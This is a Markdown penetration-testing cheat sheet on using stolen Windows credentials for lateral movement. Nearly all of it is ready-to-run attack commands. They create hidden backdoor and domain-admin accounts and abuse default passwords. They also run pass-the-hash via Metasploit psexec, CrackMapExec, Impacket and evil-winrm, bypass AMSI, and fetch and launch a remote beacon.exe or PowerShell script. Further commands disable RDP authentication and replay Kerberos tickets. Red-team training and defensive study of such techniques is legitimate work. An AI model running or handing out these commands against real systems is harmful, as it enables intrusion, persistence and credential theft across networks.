# Windows - Using credentials ## Summary * [TIPS](#tips) * [TIP 1 - Create your credential](#tip-1-create-your-credential) * [TIP 2 - Retail Credential](#tip-2-retail-credential) * [TIP 3 - Sandbox Credential - WDAGUtilityAccount](#tip-3-sandbox-credrential-wdagutilityaccount) * [Metasploit](#metasploit) * [Metasploit - SMB](#metasploit---smb) * [Metasploit - Psexec](#metasploit---psexec) * [Remote Code Execution with PS Credentials](#remote-code-execution-with-ps-credentials) * [WinRM](#winrm) * [Powershell Remoting](#powershell-remoting) * [Crackmapexec](#crackmapexec) * [Winexe](#winexe) * [WMI](#wmi) * [Psexec.py / Smbexec.py / Wmiexec.py](#psexecpy--smbexecpy--wmiexecpy) * [PsExec - Sysinternal](#psexec-sysinternal) * [RDP Remote Desktop Protocol](#rdp-remote-desktop-protocol) * [Netuse](#netuse) * [Runas](#runas) * [Pass the Ticket](#pass-the-ticket) * [SSH](#ssh) ## TIPS ### TIP 1 - Create your credential ```powershell net user hacker Hcker_12345678* /add /Y net localgroup administrators hacker /add net localgroup "Remote Desktop Users" hacker /add # RDP access net localgroup "Backup Operators" hacker /add # Full access to files net group "Domain Admins" hacker /add /domain # enable a domain user account net user hacker /ACTIVE:YES /domain # prevent users from changing their password net user username /Passwordchg:No # prevent the password to expire net user hacker /Expires:Never # create a machine account (not shown in net users) net user /add evilbob$ evilpassword # homoglyph Aԁmіnistratοr (different of Administrator) Aԁmіnistratοr ``` Some info about your user ```powershell net user /dom net user /domain ``` ### TIP 2 - Retail Credential Retail Credential [@m8urnett on Twitter](https://twitter.com/m8urnett/status/1003835660380172289) when you run Windows in retail demo mode, it creates a user named Darrin DeYoung and an admin RetailAdmin ```powershell Username: RetailAdmin Password: trs10 ``` ### TIP 3 - Sandbox Credential - WDAGUtilityAccount WDAGUtilityAccount - [@never_released on Twitter](https://twitter.com/never_released/status/1081569133844676608) Starting with Windows 10 version 1709 (Fall Creators Update), it is part of Windows Defender Application Guard ```powershell \\windowssandbox Username: wdagutilityaccount Password: pw123 ``` ## Metasploit ### Metasploit - SMB ```c use auxiliary/scanner/smb/smb_login set SMBDomain DOMAIN set SMBUser username set SMBPass password services -p 445 -R run creds ``` ### Metasploit - Psexec Note: the password can be replaced by a hash to execute a `pass the hash` attack. ```c use exploit/windows/smb/psexec set RHOST 10.2.0.3 set SMBUser username set SMBPass password set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c set PAYLOAD windows/meterpreter/bind_tcp run shell ``` ## Crackmapexec ```powershell root@payload$ git clone https://github.com/byt3bl33d3r/CrackMapExec.github root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" -x 'whoami' # cmd root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" -X 'whoami' # powershell root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method atexec -x 'whoami' root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method wmiexec -x 'whoami' root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -x 'whoami' ``` ## Remote Code Execution with PS Credentials ```powershell PS C:\> $SecPassword = ConvertTo-SecureString 'secretpassword' -AsPlainText -Force PS C:\> $Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\USERNAME', $SecPassword) PS C:\> Invoke-Command -ComputerName DC01 -Credential $Cred -ScriptBlock {whoami} PS C:\> New-PSSESSION -NAME PSDC -ComputerName COMPUTER01; Invoke-Command -ComputerName COMPUTER01 -ScriptBlock {whoami} PS C:\> Invoke-Command -ComputerName COMPUTER01 -ScriptBlock {powershell Invoke-WebRequest -Uri 'http://10.10.10.10/beacon.exe' -OutFile 'C:\Temp\beacon.exe'; Start-Process -wait C:\Temp\beacon.exe} ``` ## WinRM Require: * Port **5985** or **5986** open. * Default endpoint is **/wsman** ```powershell root@payload$ git clone https://github.com/Hackplayers/evil-winrm root@payload$ evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] root@payload$ ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/' root@payload$ ruby evil-winrm.rb -i 10.0.0.20 -u username -H BD1C6503987F8FF006296118F359FA79 root@payload$ ruby evil-winrm.rb -i 10.0.0.20 -u username -p password -r domain.local *Evil-WinRM* PS > Bypass-4MSI *Evil-WinRM* PS > IEX([Net.Webclient]::new().DownloadString("http://127.0.0.1/PowerView.ps1")) ``` or using a custom ruby code to interact with the WinRM service. ```ruby require 'winrm' conn = WinRM::Connection.new( endpoint: 'http://ip:5985/wsman', user: 'domain/user', password: 'password', ) command="" conn.shell(:powershell) do |shell| until command == "exit\n" do print "PS > " command = gets output = shell.run(command) do |stdout, stderr| STDOUT.print stdout STDERR.print stderr end end puts "Exiting with code #{output.exitcode}" end ``` ## Powershell Remoting > PSSESSION ```powershell PS> Enable-PSRemoting # use credential PS> $pass = ConvertTo-SecureString 'supersecurepassword' -AsPlainText -Force PS> $cred = New-Object System.Management.Automation.PSCredential ('DOMAIN\Username', $pass) PS> Invoke-Command -ComputerName DC -Credential $cred -ScriptBlock { whoami } # one-to-one interactive session PS> Enter-PSSession -computerName DC01 [DC01]: PS> # one-to-one execute scripts and commands PS> $Session = New-PSSession -ComputerName CLIENT1 PS> Invoke-Command -Session $Session -scriptBlock { $test = 1 } PS> Invoke-Command -Session $Session -scriptBlock { $test } 1 # one-to-many execute scripts and commands PS> Invoke-Command -computername DC01,CLIENT1 -scriptBlock { Get-Service } PS> Invoke-Command -computername DC01,CLIENT1 -filePath c:\Scripts\Task.ps1 ``` ## Winexe Integrated to Kali ```powershell root@payload$ winexe -U DOMAIN/username%password //10.10.10.10 cmd.exe ``` ## WMI ```powershell PS C:\> wmic /node:target.domain /user:domain\user /password:password process call create "C:\Windows\System32\calc.exe” ``` ## Psexec.py / Smbexec.py / Wmiexec.py From [Impacket](https://github.com/SecureAuthCorp/impacket) (:warning: renamed to impacket-xxx in Kali) :warning: `get` / `put` for wmiexec, psexec, smbexec, and dcomexec are changing to `lget` and `lput`. ```powershell root@payload$ git clone https://github.com/CoreSecurity/impacket.git # PSEXEC like functionality example using RemComSv root@payload$ python psexec.py DOMAIN/username:password@10.10.10.10 # this will drop a binary on the disk = noisy # A similar approach to PSEXEC w/o using RemComSvc root@payload$ python smbexec.py DOMAIN/username:password@10.10.10.10 # A semi-interactive shell, used through Windows Management Instrumentation. root@payload$ python wmiexec.py DOMAIN/username:password@10.10.10.10 root@payload$ wmiexec.py domain.local/user@10.0.0.20 -hashes aad3b435b51404eeaad3b435b51404ee:BD1C6503987F8FF006296118F359FA79 # A semi-interactive shell similar to wmiexec.py, but using different DCOM endpoints. root@payload$ python atexec.py DOMAIN/username:password@10.10.10.10 # Executes a command on the target machine through the Task Scheduler service and returns the output of the executed command. root@payload$ python dcomexec.py DOMAIN/username:password@10.10.10.10 ``` ## PsExec - Sysinternal from Windows - [Sysinternal](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) ```powershell PS C:\> PsExec.exe \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe # switch admin user to NT Authority/System PS C:\> PsExec.exe \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe -s ``` ## RDP Remote Desktop Protocol :warning: **NOTE**: You may need to enable RDP and disable NLA and fix CredSSP errors. ```powershell # Enable RDP PS C:\> reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x00000000 /f PS C:\> netsh firewall set service remoteadmin enable PS C:\> netsh firewall set service remotedesktop enable # Alternative C:\> psexec \\machinename reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0 root@payload$ crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable # Fix CredSSP errors reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f # Disable NLA PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-tcp'").UserAuthenticationRequired PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0) ``` Abuse RDP protocol to execute commands remotely with the following commands; * `rdesktop` ```powershell root@payload$ rdesktop -d DOMAIN -u username -p password 10.10.10.10 -g 70 -r disk:share=/home/user/myshare root@payload$ rdesktop -u username -p password -g 70% -r disk:share=/tmp/myshare 10.10.10.10 # -g : the screen will take up 70% of your actual screen size # -r disk:share : sharing a local folder during a remote desktop session ``` * `freerdp` ```powershell root@payload$ xfreerdp /v:10.0.0.1 /u:'Username' /p:'Password123!' +clipboard /cert-ignore /size:1366x768 /smart-sizing root@payload$ xfreerdp /v:10.0.0.1 /u:username # password will be asked # pass the hash using Restricted Admin, need an admin account not in the "Remote Desktop Users" group. # pass the hash works for Server 2012 R2 / Win 8.1+ # require freerdp2-x11 freerdp2-shadow-x11 packages instead of freerdp-x11 root@payload$ xfreerdp /v:10.0.0.1 /u:username /d:domain /pth:88a405e17c0aa5debbc9b5679753939d ``` * [SharpRDP](https://github.com/0xthirteen/SharpRDP) ```powershell PS C:\> SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password ``` ## Netuse Windows only ```powershell PS C:\> net use \\ordws01.cscou.lab /user:DOMAIN\username password C$ ``` ## Runas ```powershell PS C:\> runas /netonly /user:DOMAIN\username "cmd.exe" PS C:\> runas /noprofil /netonly /user:DOMAIN\username cmd.exe ``` ## Pass the Ticket ```powershell python3 getTGT.py -hashes aad3b435b51404eeaad3b435b51404ee:B65039D1C0359FA797F88FF06296118F domain.local/user [*] Saving ticket in user.ccache cp user.ccache /tmp/krb5cc_0 export KRB5CCNAME=/tmp/krb5cc_0 klist ``` ## SSH :warning: You cannot pass the hash to SSH, but you can connect with a Kerberos ticket (Which you can get by passing the hash! ```ps1 cp user.ccache /tmp/krb5cc_1045 ssh -o GSSAPIAuthentication=yes user@domain.local -vv ``` ## References - [Ropnop - Using credentials to own Windows boxes](https://blog.ropnop.com/using-credentials-to-own-windows-boxes/) - [Ropnop - Using credentials to own Windows boxes Part 2](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) - [Gaining Domain Admin from Outside Active Directory](https://markitzeroday.com/pass-the-hash/crack-map-exec/2018/03/04/da-from-outside-the-domain.html)